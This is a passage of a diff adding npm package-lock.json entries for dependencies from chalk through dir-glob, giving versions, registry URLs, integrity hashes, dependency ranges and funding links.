+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+ "dependencies": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/chalk?sponsor=1"
+ }
+ },
+ "node_modules/character-entities": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz",
+ "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/character-entities-html4": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz",
+ "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/character-entities-legacy": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz",
+ "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/character-reference-invalid": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz",
+ "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/chokidar": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz",
+ "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==",
+ "dependencies": {
+ "anymatch": "~3.1.2",
+ "braces": "~3.0.2",
+ "glob-parent": "~5.1.2",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.6.0"
+ },
+ "engines": {
+ "node": ">= 8.10.0"
+ },
+ "funding": {
+ "url": "https://paulmillr.com/funding/"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.2"
+ }
+ },
+ "node_modules/chokidar/node_modules/glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dependencies": {
+ "is-glob": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/class-variance-authority": {
+ "version": "0.7.1",
+ "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.1.tgz",
+ "integrity": "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==",
+ "dependencies": {
+ "clsx": "^2.1.1"
+ },
+ "funding": {
+ "url": "https://polar.sh/cva"
+ }
+ },
+ "node_modules/classnames": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.5.1.tgz",
+ "integrity": "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==",
+ "license": "MIT"
+ },
+ "node_modules/client-only": {
+ "version": "0.0.1",
+ "resolved": "https://registry.npmjs.org/client-only/-/client-only-0.0.1.tgz",
+ "integrity": "sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA=="
+ },
+ "node_modules/cliui": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz",
+ "integrity": "sha512-0yayqDxWQbqk3ojkYqUKqaAQ6AfNKeKWRNA8kR0WXzAsdHpP4BIaOmMAG87JGuO6qcobyW4GjxHd9PmhEd+T9w==",
+ "dependencies": {
+ "string-width": "^1.0.1",
+ "strip-ansi": "^3.0.1",
+ "wrap-ansi": "^2.0.0"
+ }
+ },
+ "node_modules/cliui/node_modules/ansi-regex": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+ "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/cliui/node_modules/is-fullwidth-code-point": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
+ "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==",
+ "dependencies": {
+ "number-is-nan": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/cliui/node_modules/string-width": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
+ "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==",
+ "dependencies": {
+ "code-point-at": "^1.0.0",
+ "is-fullwidth-code-point": "^1.0.0",
+ "strip-ansi": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/cliui/node_modules/strip-ansi": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
+ "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+ "dependencies": {
+ "ansi-regex": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/cliui/node_modules/wrap-ansi": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
+ "integrity": "sha512-vAaEaDM946gbNpH5pLVNR+vX2ht6n0Bt3GXwVB1AuAqZosOvHNF3P7wDnh8KLkSqgUh0uh77le7Owgoz+Z9XBw==",
+ "dependencies": {
+ "string-width": "^1.0.1",
+ "strip-ansi": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/clone": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.2.tgz",
+ "integrity": "sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==",
+ "engines": {
+ "node": ">=0.8"
+ }
+ },
+ "node_modules/clsx": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz",
+ "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/cmdk": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/cmdk/-/cmdk-1.0.4.tgz",
+ "integrity": "sha512-AnsjfHyHpQ/EFeAnG216WY7A5LiYCoZzCSygiLvfXC3H3LFGCprErteUcszaVluGOhuOTbJS3jWHrSDYPBBygg==",
+ "dependencies": {
+ "@radix-ui/react-dialog": "^1.1.2",
+ "@radix-ui/react-id": "^1.1.0",
+ "@radix-ui/react-primitive": "^2.0.0",
+ "use-sync-external-store": "^1.2.2"
+ },
+ "peerDependencies": {
+ "react": "^18 || ^19 || ^19.0.0-rc",
+ "react-dom": "^18 || ^19 || ^19.0.0-rc"
+ }
+ },
+ "node_modules/code-point-at": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz",
+ "integrity": "sha512-RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/collapse-white-space": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/collapse-white-space/-/collapse-white-space-2.1.0.tgz",
+ "integrity": "sha512-loKTxY1zCOuG4j9f6EPnuyyYkf58RnhhWTvRoZEokgB+WbdXehfjFviyOVYkqzEWz1Q5kRiZdBYS5SwxbQYwzw==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dependencies": {
+ "color-name": "~1.1.4"
+ },
+ "engines": {
+ "node": ">=7.0.0"
+ }
+ },
+ "node_modules/color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+ },
+ "node_modules/combined-stream": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
+ "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+ "license": "MIT",
+ "dependencies": {
+ "delayed-stream": "~1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/comma-separated-tokens": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz",
+ "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/commander": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
+ "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/concat-map": {
+ "version": "0.0.1",
+ "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+ "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
+ },
+ "node_modules/consola": {
+ "version": "3.4.2",
+ "resolved": "https://registry.npmjs.org/consola/-/consola-3.4.2.tgz",
+ "integrity": "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==",
+ "license": "MIT",
+ "engines": {
+ "node": "^14.18.0 || >=16.10.0"
+ }
+ },
+ "node_modules/copy-to-clipboard": {
+ "version": "3.3.3",
+ "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.3.3.tgz",
+ "integrity": "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA==",
+ "license": "MIT",
+ "dependencies": {
+ "toggle-selection": "^1.0.6"
+ }
+ },
+ "node_modules/core-js-pure": {
+ "version": "3.46.0",
+ "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.46.0.tgz",
+ "integrity": "sha512-NMCW30bHNofuhwLhYPt66OLOKTMbOhgTTatKVbaQC3KRHpTCiRIBYvtshr+NBYSnBxwAFhjW/RfJ0XbIjS16rw==",
+ "hasInstallScript": true,
+ "license": "MIT",
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/core-js"
+ }
+ },
+ "node_modules/cross-spawn": {
+ "version": "7.0.6",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+ "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
+ "dependencies": {
+ "path-key": "^3.1.0",
+ "shebang-command": "^2.0.0",
+ "which": "^2.0.1"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/css.escape": {
+ "version": "1.5.1",
+ "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
+ "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==",
+ "license": "MIT"
+ },
+ "node_modules/cssesc": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
+ "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
+ "bin": {
+ "cssesc": "bin/cssesc"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/csstype": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz",
+ "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="
+ },
+ "node_modules/d3-array": {
+ "version": "3.2.4",
+ "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz",
+ "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==",
+ "dependencies": {
+ "internmap": "1 - 2"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/d3-color": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz",
+ "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==",
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/d3-ease": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz",
+ "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==",
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/d3-format": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz",
+ "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==",
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/d3-interpolate": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz",
+ "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==",
+ "dependencies": {
+ "d3-color": "1 - 3"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/d3-path": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz",
+ "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==",
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/d3-scale": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz",
+ "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==",
+ "dependencies": {
+ "d3-array": "2.10.0 - 3",
+ "d3-format": "1 - 3",
+ "d3-interpolate": "1.2.0 - 3",
+ "d3-time": "2.1.1 - 3",
+ "d3-time-format": "2 - 4"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/d3-shape": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz",
+ "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==",
+ "dependencies": {
+ "d3-path": "^3.1.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/d3-time": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz",
+ "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==",
+ "dependencies": {
+ "d3-array": "2 - 3"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/d3-time-format": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz",
+ "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==",
+ "dependencies": {
+ "d3-time": "1 - 3"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/d3-timer": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz",
+ "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==",
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/damerau-levenshtein": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz",
+ "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="
+ },
+ "node_modules/data-view-buffer": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.1.tgz",
+ "integrity": "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA==",
+ "dependencies": {
+ "call-bind": "^1.0.6",
+ "es-errors": "^1.3.0",
+ "is-data-view": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/data-view-byte-length": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.1.tgz",
+ "integrity": "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "es-errors": "^1.3.0",
+ "is-data-view": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/data-view-byte-offset": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.0.tgz",
+ "integrity": "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA==",
+ "dependencies": {
+ "call-bind": "^1.0.6",
+ "es-errors": "^1.3.0",
+ "is-data-view": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/date-fns": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-3.6.0.tgz",
+ "integrity": "sha512-fRHTG8g/Gif+kSh50gaGEdToemgfj74aRX3swtiouboip5JDLAyDE9F11nHMIcvOaXeOC6D7SpNhi7uFyB7Uww==",
+ "peer": true,
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/kossnocorp"
+ }
+ },
+ "node_modules/debug": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.0.tgz",
+ "integrity": "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==",
+ "dependencies": {
+ "ms": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=6.0"
+ },
+ "peerDependenciesMeta": {
+ "supports-color": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/decamelize": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
+ "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/decimal.js-light": {
+ "version": "2.5.1",
+ "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz",
+ "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg=="
+ },
+ "node_modules/decode-named-character-reference": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.0.2.tgz",
+ "integrity": "sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==",
+ "dependencies": {
+ "character-entities": "^2.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/deep-extend": {
+ "version": "0.6.0",
+ "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
+ "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=4.0.0"
+ }
+ },
+ "node_modules/deep-is": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
+ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ=="
+ },
+ "node_modules/deepmerge": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz",
+ "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/define-data-property": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
+ "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
+ "dependencies": {
+ "es-define-property": "^1.0.0",
+ "es-errors": "^1.3.0",
+ "gopd": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/define-properties": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz",
+ "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==",
+ "dependencies": {
+ "define-data-property": "^1.0.1",
+ "has-property-descriptors": "^1.0.0",
+ "object-keys": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/delayed-stream": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
+ "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/dequal": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz",
+ "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/detect-libc": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
+ "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/detect-node-es": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz",
+ "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ=="
+ },
+ "node_modules/devlop": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz",
+ "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==",
+ "dependencies": {
+ "dequal": "^2.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/didyoumean": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
+ "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="
+ },
+ "node_modules/dir-glob": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
